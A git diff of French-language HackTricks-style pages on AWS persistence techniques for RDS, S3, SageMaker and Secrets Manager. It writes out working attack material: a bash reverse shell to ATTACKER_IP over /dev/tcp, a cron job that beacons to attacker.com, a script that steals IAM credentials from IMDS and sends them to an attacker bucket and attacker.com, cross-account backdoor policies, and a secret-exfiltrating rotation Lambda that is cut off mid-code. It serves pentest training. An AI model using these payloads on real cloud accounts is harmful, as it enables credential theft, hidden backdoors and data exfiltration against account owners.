Un attaquant disposant de cette permission peut **modifier une instance RDS existante pour activer l'accessibilité publique**.
|
||||
```bash
|
||||
aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
|
||||
```
|
||||
### Créer un utilisateur admin dans la DB
|
||||
|
||||
Un attaquant pourrait simplement **créer un utilisateur dans la DB** afin que même si le mot de passe du master user est modifié, il **ne perde pas l'accès** à la base de données.
|
||||
|
||||
### Rendre le snapshot public
|
||||
```bash
|
||||
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,25 +0,0 @@
|
||||
# AWS - S3 Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## S3
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### KMS Client-Side Encryption
|
||||
|
||||
Lorsque le processus de chiffrement est terminé, l'utilisateur utilisera l'API KMS pour générer une nouvelle clé (`aws kms generate-data-key`) et il **stockera la clé chiffrée générée à l'intérieur des métadonnées** du fichier ([exemple de code python](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) afin que lors du déchiffrement, il puisse la déchiffrer à nouveau avec KMS :
|
||||
|
||||
<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Par conséquent, un attaquant pourrait obtenir cette clé à partir des métadonnées et déchiffrer avec KMS (`aws kms decrypt`) pour obtenir la clé utilisée pour chiffrer les informations. De cette manière, l'attaquant aura la clé de chiffrement et si cette clé est réutilisée pour chiffrer d'autres fichiers, il pourra l'utiliser.
|
||||
|
||||
### Using S3 ACLs
|
||||
|
||||
Bien que les ACL des buckets soient généralement désactivées, un attaquant ayant suffisamment de privilèges pourrait en abuser (si elles sont activées ou si l'attaquant peut les activer) pour conserver l'accès au bucket S3.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,25 @@
|
||||
# AWS - S3 Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## S3
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### KMS Client-Side Encryption
|
||||
|
||||
When the encryption process is done the user will use the KMS API to generate a new key (`aws kms generate-data-key`) and he will **store the generated encrypted key inside the metadata** of the file ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) so when the decrypting occur it can decrypt it using KMS again:
|
||||
|
||||
<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Par conséquent, un attaquant pourrait récupérer cette key depuis les metadata et la decrypt avec KMS (`aws kms decrypt`) pour obtenir la clé utilisée pour chiffrer l'information. De cette façon, l'attaquant disposera de la encryption key et, si cette key est réutilisée pour chiffrer d'autres fichiers, il pourra les utiliser.
|
||||
|
||||
### Using S3 ACLs
|
||||
|
||||
Bien que les ACLs des buckets soient généralement désactivées, un attaquant disposant de privilèges suffisants pourrait en abuser (si elles sont activées ou si l'attaquant peut les activer) pour conserver l'accès au bucket S3.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,158 +0,0 @@
|
||||
# Aws Sagemaker Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Vue d'ensemble des techniques de persistance
|
||||
|
||||
Cette section décrit les méthodes pour obtenir une persistance dans SageMaker en abusant des Configurations de Cycle de Vie (LCC), y compris les shells inversés, les tâches cron, le vol de credentials via IMDS et les portes dérobées SSH. Ces scripts s'exécutent avec le rôle IAM de l'instance et peuvent persister à travers les redémarrages. La plupart des techniques nécessitent un accès réseau sortant, mais l'utilisation de services sur le plan de contrôle AWS peut toujours permettre le succès si l'environnement est en mode "VPC uniquement".
|
||||
#### Remarque : Les instances de notebook SageMaker sont essentiellement des instances EC2 gérées configurées spécifiquement pour les charges de travail d'apprentissage automatique.
|
||||
|
||||
## Permissions requises
|
||||
* Instances de notebook :
|
||||
```
|
||||
sagemaker:CreateNotebookInstanceLifecycleConfig
|
||||
sagemaker:UpdateNotebookInstanceLifecycleConfig
|
||||
sagemaker:CreateNotebookInstance
|
||||
sagemaker:UpdateNotebookInstance
|
||||
```
|
||||
* Applications de Studio :
|
||||
```
|
||||
sagemaker:CreateStudioLifecycleConfig
|
||||
sagemaker:UpdateStudioLifecycleConfig
|
||||
sagemaker:UpdateUserProfile
|
||||
sagemaker:UpdateSpace
|
||||
sagemaker:UpdateDomain
|
||||
```
|
||||
## Configurer la configuration du cycle de vie sur les instances de notebook
|
||||
|
||||
### Exemples de commandes AWS CLI :
|
||||
```bash
|
||||
# Create Lifecycle Configuration*
|
||||
|
||||
aws sagemaker create-notebook-instance-lifecycle-config \
|
||||
--notebook-instance-lifecycle-config-name attacker-lcc \
|
||||
--on-start Content=$(base64 -w0 reverse_shell.sh)
|
||||
|
||||
|
||||
# Attach Lifecycle Configuration to Notebook Instance*
|
||||
|
||||
aws sagemaker update-notebook-instance \
|
||||
--notebook-instance-name victim-instance \
|
||||
--lifecycle-config-name attacker-lcc
|
||||
```
|
||||
## Configurer la configuration du cycle de vie sur SageMaker Studio
|
||||
|
||||
Les configurations de cycle de vie peuvent être attachées à différents niveaux et à différents types d'applications au sein de SageMaker Studio.
|
||||
|
||||
### Niveau de domaine Studio (Tous les utilisateurs)
|
||||
```bash
|
||||
# Create Studio Lifecycle Configuration*
|
||||
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-studio-lcc \
|
||||
--studio-lifecycle-config-app-type JupyterServer \
|
||||
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
|
||||
|
||||
|
||||
# Apply LCC to entire Studio Domain*
|
||||
|
||||
aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
|
||||
"JupyterServerAppSettings": {
|
||||
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Niveau de l'Espace Studio (Espaces Individuels ou Partagés)
|
||||
```bash
|
||||
# Update SageMaker Studio Space to attach LCC*
|
||||
|
||||
aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
|
||||
"JupyterServerAppSettings": {
|
||||
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
## Types of Studio Application Lifecycle Configurations
|
||||
|
||||
Les configurations de cycle de vie peuvent être spécifiquement appliquées à différents types d'applications SageMaker Studio :
|
||||
* JupyterServer : Exécute des scripts lors du démarrage du serveur Jupyter, idéal pour des mécanismes de persistance comme des shells inversés et des tâches cron.
|
||||
* KernelGateway : S'exécute lors du lancement de l'application de passerelle de noyau, utile pour la configuration initiale ou l'accès persistant.
|
||||
* CodeEditor : S'applique à l'éditeur de code (Code-OSS), permettant l'exécution de scripts au début des sessions d'édition de code.
|
||||
|
||||
### Example Command for Each Type:
|
||||
|
||||
### JupyterServer
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-jupyter-lcc \
|
||||
--studio-lifecycle-config-app-type JupyterServer \
|
||||
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
|
||||
```
|
||||
### KernelGateway
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
|
||||
--studio-lifecycle-config-app-type KernelGateway \
|
||||
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
|
||||
```
|
||||
### CodeEditor
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-codeeditor-lcc \
|
||||
--studio-lifecycle-config-app-type CodeEditor \
|
||||
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
|
||||
```
|
||||
### Informations critiques :
|
||||
* Attacher des LCCs au niveau du domaine ou de l'espace impacte tous les utilisateurs ou applications dans le périmètre.
|
||||
* Nécessite des permissions plus élevées (sagemaker:UpdateDomain, sagemaker:UpdateSpace) généralement plus réalisables au niveau de l'espace qu'au niveau du domaine.
|
||||
* Les contrôles au niveau du réseau (par exemple, filtrage sortant strict) peuvent empêcher des shells inversés réussis ou l'exfiltration de données.
|
||||
|
||||
## Shell inversé via Configuration de Cycle de Vie
|
||||
|
||||
Les Configurations de Cycle de Vie SageMaker (LCCs) exécutent des scripts personnalisés lorsque les instances de notebook démarrent. Un attaquant avec des permissions peut établir un shell inversé persistant.
|
||||
|
||||
### Exemple de Payload :
|
||||
```
|
||||
#!/bin/bash
|
||||
ATTACKER_IP="<ATTACKER_IP>"
|
||||
ATTACKER_PORT="<ATTACKER_PORT>"
|
||||
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
|
||||
```
|
||||
## Persistance par Cron Job via Configuration de Cycle de Vie
|
||||
|
||||
Un attaquant peut injecter des cron jobs à travers des scripts LCC, garantissant l'exécution périodique de scripts ou de commandes malveillants, permettant une persistance discrète.
|
||||
|
||||
### Exemple de Charge Utile :
|
||||
```
|
||||
#!/bin/bash
|
||||
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
|
||||
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
|
||||
CRON_JOB="*/30 * * * * $CRON_CMD"
|
||||
|
||||
mkdir -p /home/ec2-user/SageMaker/.local_tasks
|
||||
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
|
||||
chmod +x $PAYLOAD_PATH
|
||||
|
||||
(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
|
||||
```
|
||||
## Exfiltration de crédentiels via IMDS (v1 & v2)
|
||||
|
||||
Les configurations de cycle de vie peuvent interroger le Service de Métadonnées d'Instance (IMDS) pour récupérer des crédentiels IAM et les exfiltrer vers un emplacement contrôlé par un attaquant.
|
||||
|
||||
### Exemple de Payload :
|
||||
```bash
|
||||
#!/bin/bash
|
||||
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
|
||||
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
|
||||
|
||||
# Exfiltrate via S3*
|
||||
|
||||
aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
|
||||
|
||||
# Alternatively, exfiltrate via HTTP POST*
|
||||
|
||||
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,230 @@
|
||||
# AWS - SageMaker Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Vue d'ensemble des techniques de persistance
|
||||
|
||||
Cette section décrit des méthodes pour obtenir de la persistance dans SageMaker en abusant des Lifecycle Configurations (LCCs), y compris reverse shells, cron jobs, credential theft via IMDS, et SSH backdoors. Ces scripts s'exécutent avec l'IAM role de l'instance et peuvent persister après des redémarrages. La plupart des techniques requièrent un accès réseau sortant, mais l'utilisation de services sur le AWS control plane peut néanmoins permettre de réussir si l'environnement est en 'VPC-only" mode.
|
||||
|
||||
> [!TIP]
|
||||
> Remarque : SageMaker notebook instances sont essentiellement des instances EC2 gérées, configurées spécifiquement pour des charges de travail d'apprentissage automatique.
|
||||
|
||||
## Autorisations requises
|
||||
* Notebook Instances:
|
||||
```
|
||||
sagemaker:CreateNotebookInstanceLifecycleConfig
|
||||
sagemaker:UpdateNotebookInstanceLifecycleConfig
|
||||
sagemaker:CreateNotebookInstance
|
||||
sagemaker:UpdateNotebookInstance
|
||||
```
|
||||
* Applications Studio:
|
||||
```
|
||||
sagemaker:CreateStudioLifecycleConfig
|
||||
sagemaker:UpdateStudioLifecycleConfig
|
||||
sagemaker:UpdateUserProfile
|
||||
sagemaker:UpdateSpace
|
||||
sagemaker:UpdateDomain
|
||||
```
|
||||
## Configurer la Lifecycle Configuration sur les Notebook Instances
|
||||
|
||||
### Exemples de commandes AWS CLI :
|
||||
```bash
|
||||
# Create Lifecycle Configuration*
|
||||
|
||||
aws sagemaker create-notebook-instance-lifecycle-config \
|
||||
--notebook-instance-lifecycle-config-name attacker-lcc \
|
||||
--on-start Content=$(base64 -w0 reverse_shell.sh)
|
||||
|
||||
|
||||
# Attach Lifecycle Configuration to Notebook Instance*
|
||||
|
||||
aws sagemaker update-notebook-instance \
|
||||
--notebook-instance-name victim-instance \
|
||||
--lifecycle-config-name attacker-lcc
|
||||
```
|
||||
## Configurer une Lifecycle Configuration sur SageMaker Studio
|
||||
|
||||
Les Lifecycle Configurations peuvent être attachées à plusieurs niveaux et à différents types d'applications dans SageMaker Studio.
|
||||
|
||||
### Niveau du domaine Studio (tous les utilisateurs)
|
||||
```bash
|
||||
# Create Studio Lifecycle Configuration*
|
||||
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-studio-lcc \
|
||||
--studio-lifecycle-config-app-type JupyterServer \
|
||||
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
|
||||
|
||||
|
||||
# Apply LCC to entire Studio Domain*
|
||||
|
||||
aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
|
||||
"JupyterServerAppSettings": {
|
||||
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Studio Space Niveau (Spaces individuels ou partagés)
|
||||
```bash
|
||||
# Update SageMaker Studio Space to attach LCC*
|
||||
|
||||
aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
|
||||
"JupyterServerAppSettings": {
|
||||
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
## Types de configurations du cycle de vie des applications Studio
|
||||
|
||||
Les configurations du cycle de vie peuvent être appliquées spécifiquement à différents types d'applications SageMaker Studio :
|
||||
* JupyterServer: Exécute des scripts au démarrage du serveur Jupyter, idéal pour des mécanismes de persistance comme les reverse shells et les cron jobs.
|
||||
* KernelGateway: S'exécute au lancement de l'application kernel gateway, utile pour la configuration initiale ou un accès persistant.
|
||||
* CodeEditor: S'applique au Code Editor (Code-OSS), permettant l'exécution de scripts au démarrage des sessions d'édition de code.
|
||||
|
||||
### Exemple de commande pour chaque type :
|
||||
|
||||
### JupyterServer
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-jupyter-lcc \
|
||||
--studio-lifecycle-config-app-type JupyterServer \
|
||||
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
|
||||
```
|
||||
### KernelGateway
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
|
||||
--studio-lifecycle-config-app-type KernelGateway \
|
||||
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
|
||||
```
|
||||
### CodeEditor
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-codeeditor-lcc \
|
||||
--studio-lifecycle-config-app-type CodeEditor \
|
||||
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
|
||||
```
|
||||
### Critical Info:
|
||||
* L'attachement de LCCs au niveau du domaine ou de l'espace impacte tous les utilisateurs ou applications dans le périmètre.
|
||||
* Nécessite des permissions élevées (sagemaker:UpdateDomain, sagemaker:UpdateSpace) — généralement plus faisable au niveau de l'espace qu'au niveau du domaine.
|
||||
* Des contrôles au niveau réseau (p. ex., strict egress filtering) peuvent empêcher les reverse shells réussis ou la data exfiltration.
|
||||
|
||||
## Reverse Shell via Lifecycle Configuration
|
||||
|
||||
SageMaker Lifecycle Configurations (LCCs) exécutent des scripts personnalisés lorsque les instances de notebook démarrent. Un attaquant disposant des permissions peut établir un reverse shell persistant.
|
||||
|
||||
### Payload Example:
|
||||
```
|
||||
#!/bin/bash
|
||||
ATTACKER_IP="<ATTACKER_IP>"
|
||||
ATTACKER_PORT="<ATTACKER_PORT>"
|
||||
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
|
||||
```
|
||||
## Cron Job Persistence via Lifecycle Configuration
|
||||
|
||||
Un attaquant peut injecter des cron jobs via des scripts LCC, garantissant l'exécution périodique de scripts ou commandes malveillants, permettant une persistence furtive.
|
||||
|
||||
### Payload Example:
|
||||
```
|
||||
#!/bin/bash
|
||||
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
|
||||
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
|
||||
CRON_JOB="*/30 * * * * $CRON_CMD"
|
||||
|
||||
mkdir -p /home/ec2-user/SageMaker/.local_tasks
|
||||
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
|
||||
chmod +x $PAYLOAD_PATH
|
||||
|
||||
(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
|
||||
```
|
||||
## Credential Exfiltration via IMDS (v1 & v2)
|
||||
|
||||
Les configurations de lifecycle peuvent interroger l'Instance Metadata Service (IMDS) pour récupérer des identifiants IAM et les exfiltrer vers un emplacement contrôlé par un attaquant.
|
||||
|
||||
### Payload Example:
|
||||
```bash
|
||||
#!/bin/bash
|
||||
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
|
||||
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
|
||||
|
||||
# Exfiltrate via S3*
|
||||
|
||||
aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
|
||||
|
||||
# Alternatively, exfiltrate via HTTP POST*
|
||||
|
||||
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
|
||||
```
|
||||
## Persistance via la politique basée sur la ressource du Model Registry (PutModelPackageGroupPolicy)
|
||||
|
||||
Abusez la politique basée sur la ressource d'un SageMaker Model Package Group pour accorder à un principal externe des droits cross-account (p.ex., CreateModelPackage/Describe/List). Cela crée une porte dérobée durable permettant de pousser des versions de modèle empoisonnées ou de lire les métadonnées/artéfacts du modèle, même si l'IAM user/role de l'attaquant dans le compte victime est supprimé.
|
||||
|
||||
Required permissions
|
||||
- sagemaker:CreateModelPackageGroup
|
||||
- sagemaker:PutModelPackageGroupPolicy
|
||||
- sagemaker:GetModelPackageGroupPolicy
|
||||
|
||||
Étapes (us-east-1)
|
||||
```bash
|
||||
# 1) Create a Model Package Group
|
||||
REGION=${REGION:-us-east-1}
|
||||
MPG=atk-mpg-$(date +%s)
|
||||
aws sagemaker create-model-package-group \
|
||||
--region "$REGION" \
|
||||
--model-package-group-name "$MPG" \
|
||||
--model-package-group-description "Test backdoor"
|
||||
|
||||
# 2) Craft a cross-account resource policy (replace 111122223333 with attacker account)
|
||||
cat > /tmp/mpg-policy.json <<JSON
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AllowCrossAccountCreateDescribeList",
|
||||
"Effect": "Allow",
|
||||
"Principal": {"AWS": ["arn:aws:iam::111122223333:root"]},
|
||||
"Action": [
|
||||
"sagemaker:CreateModelPackage",
|
||||
"sagemaker:DescribeModelPackage",
|
||||
"sagemaker:DescribeModelPackageGroup",
|
||||
"sagemaker:ListModelPackages"
|
||||
],
|
||||
"Resource": [
|
||||
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package-group/${MPG}",
|
||||
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package/${MPG}/*"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
JSON
|
||||
|
||||
# 3) Attach the policy to the group
|
||||
aws sagemaker put-model-package-group-policy \
|
||||
--region "$REGION" \
|
||||
--model-package-group-name "$MPG" \
|
||||
--resource-policy "$(jq -c . /tmp/mpg-policy.json)"
|
||||
|
||||
# 4) Retrieve the policy (evidence)
|
||||
aws sagemaker get-model-package-group-policy \
|
||||
--region "$REGION" \
|
||||
--model-package-group-name "$MPG" \
|
||||
--query ResourcePolicy --output text
|
||||
```
|
||||
Remarques
|
||||
- Pour une vraie backdoor cross-account, restreignez Resource à l'ARN du groupe spécifique et utilisez l'ID de compte AWS de l'attacker dans Principal.
|
||||
- Pour un déploiement cross-account de bout en bout ou des lectures d'artifacts, alignez les grants S3/ECR/KMS avec l'attacker account.
|
||||
|
||||
Impact
|
||||
- Contrôle persistant cross-account d'un Model Registry group : l'attacker peut publier des versions de modèle malveillantes ou énumérer/lire les métadonnées des modèles même après que leurs entités IAM ont été supprimées dans le victim account.
|
||||
|
||||
## Backdoor cross-account du Model Registry Canvas (UpdateUserProfile.ModelRegisterSettings)
|
||||
|
||||
Exploiter les paramètres utilisateur de SageMaker Canvas pour rediriger silencieusement les écritures du model registry vers un compte contrôlé par l'attacker en activant ModelRegisterSettings et en pointant CrossAccountModelRegisterRoleArn vers un attacker role dans un autre compte.
|
||||
|
||||
Permissions requises
|
||||
- sagemaker:UpdateUserProfile sur le UserProfile cible
|
||||
- Optionnel : sagemaker:CreateUserProfile sur un Domain que vous contrôlez
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,51 +0,0 @@
|
||||
# AWS - Persistence du Secrets Manager
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
Pour plus d'infos, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Via les politiques de ressources
|
||||
|
||||
Il est possible de **donner accès aux secrets à des comptes externes** via des politiques de ressources. Consultez la [**page Privesc du Secrets Manager**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) pour plus d'informations. Notez que pour **accéder à un secret**, le compte externe devra également **avoir accès à la clé KMS chiffrant le secret**.
|
||||
|
||||
### Via Lambda de rotation des secrets
|
||||
|
||||
Pour **faire tourner les secrets** automatiquement, une **Lambda** configurée est appelée. Si un attaquant pouvait **modifier** le **code**, il pourrait directement **exfiltrer le nouveau secret** pour lui-même.
|
||||
|
||||
Voici à quoi pourrait ressembler le code lambda pour une telle action :
|
||||
```python
|
||||
import boto3
|
||||
|
||||
def rotate_secrets(event, context):
|
||||
# Create a Secrets Manager client
|
||||
client = boto3.client('secretsmanager')
|
||||
|
||||
# Retrieve the current secret value
|
||||
secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
|
||||
|
||||
# Rotate the secret by updating its value
|
||||
new_secret_value = rotate_secret(secret_value)
|
||||
client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
|
||||
|
||||
def rotate_secret(secret_value):
|
||||
# Perform the rotation logic here, e.g., generate a new password
|
||||
|
||||
# Example: Generate a new password
|
||||
new_secret_value = generate_password()
|
||||
|
||||
return new_secret_value
|
||||
|
||||
def generate_password():
|
||||
# Example: Generate a random password using the secrets module
|
||||
import secrets
|
||||
import string
|
||||
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
|
||||
return password
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,234 @@
|
||||
# AWS - Secrets Manager Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Via Resource Policies
|
||||
|
||||
Il est possible d'**accorder l'accès aux secrets à des comptes externes** via resource policies. Consultez la [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) pour plus d'informations. Notez que pour **accéder à un secret**, le compte externe devra également **avoir accès à la clé KMS chiffrant le secret**.
|
||||
|
||||
### Via Secrets Rotate Lambda
|
||||
|
||||
Pour **rotate secrets** automatiquement, une **Lambda** configurée est appelée. Si un attaquant pouvait **modifier** le **code**, il pourrait directement **exfiltrer le nouveau secret** vers lui-même.
|
||||
|
||||
This is how lambda code for such action could look like:
|
||||
```python
|
||||
import boto3
|
||||
|
||||
def rotate_secrets(event, context):
|
||||
# Create a Secrets Manager client
|
||||
client = boto3.client('secretsmanager')
|
||||
|
||||
# Retrieve the current secret value
|
||||
secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
|
||||
|
||||
# Rotate the secret by updating its value
|
||||
new_secret_value = rotate_secret(secret_value)
|
||||
client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
|
||||
|
||||
def rotate_secret(secret_value):
|
||||
# Perform the rotation logic here, e.g., generate a new password
|
||||
|
||||
# Example: Generate a new password
|
||||
new_secret_value = generate_password()
|
||||
|
||||
return new_secret_value
|
||||
|
||||
def generate_password():
|
||||
# Example: Generate a random password using the secrets module
|
||||
import secrets
|
||||
import string
|
||||
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
|
||||
return password
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Remplacer la Lambda de rotation par une fonction contrôlée par l'attaquant via RotateSecret
|
||||
|
||||
Abuser de `secretsmanager:RotateSecret` pour lier à nouveau un secret à une Lambda de rotation contrôlée par l'attaquant et déclencher une rotation immédiate. La fonction malveillante exfiltre les versions du secret (AWSCURRENT/AWSPENDING) pendant les étapes de rotation (createSecret/setSecret/testSecret/finishSecret) vers un point d'exfiltration contrôlé par l'attaquant (par ex., S3 ou HTTP externe).
|
||||
|
||||
- Prérequis
|
||||
- Autorisations : `secretsmanager:RotateSecret`, `lambda:InvokeFunction` sur la Lambda de l'attaquant, `iam:CreateRole/PassRole/PutRolePolicy` (ou AttachRolePolicy) pour provisionner le rôle d'exécution de la Lambda avec `secretsmanager:GetSecretValue` et de préférence `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (afin que la rotation continue de fonctionner), KMS `kms:Decrypt` pour la clé KMS du secret, et `s3:PutObject` (ou egress sortant) pour l'exfiltration.
|
||||
- Un SecretId cible (`SecretId`) avec la rotation activée ou la capacité d'activer la rotation.
|
||||
|
||||
- Impact
|
||||
- L'attaquant obtient la ou les valeurs du secret sans modifier le code de rotation légitime. Seule la configuration de rotation est modifiée pour pointer vers la Lambda de l'attaquant. Si cela n'est pas détecté, les rotations programmées futures continueront d'invoquer la fonction de l'attaquant.
|
||||
|
||||
- Étapes de l'attaque (CLI)
|
||||
1) Préparer le point d'exfiltration de l'attaquant et le rôle Lambda
|
||||
- Créer un bucket S3 pour l'exfiltration et un rôle d'exécution approuvé pour Lambda avec les autorisations pour lire le secret et écrire dans S3 (plus logs/KMS selon besoin).
|
||||
2) Déployer la Lambda de l'attaquant qui, à chaque étape de rotation, récupère la ou les valeurs du secret et les écrit dans S3. Une logique minimale de rotation peut simplement copier AWSCURRENT vers AWSPENDING et le promouvoir dans finishSecret pour maintenir le service en bon état.
|
||||
3) Réaffecter la rotation et déclencher
|
||||
- `aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately`
|
||||
4) Vérifier l'exfiltration en listant le préfixe S3 pour ce secret et en inspectant les artefacts JSON.
|
||||
5) (Optionnel) Restaurer la Lambda de rotation d'origine pour réduire la détection.
|
||||
|
||||
- Exemple de Lambda attaquante (Python) exfiltrant vers S3
|
||||
- Environment: `EXFIL_BUCKET=<bucket>`
|
||||
- Handler: `lambda_function.lambda_handler`
|
||||
```python
|
||||
import boto3, json, os, base64, datetime
|
||||
s3 = boto3.client('s3')
|
||||
sm = boto3.client('secretsmanager')
|
||||
BUCKET = os.environ['EXFIL_BUCKET']
|
||||
|
||||
def write_s3(key, data):
|
||||
s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json')
|
||||
|
||||
def lambda_handler(event, context):
|
||||
sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step']
|
||||
# Exfil both stages best-effort
|
||||
def getv(**kw):
|
||||
try:
|
||||
r = sm.get_secret_value(**kw)
|
||||
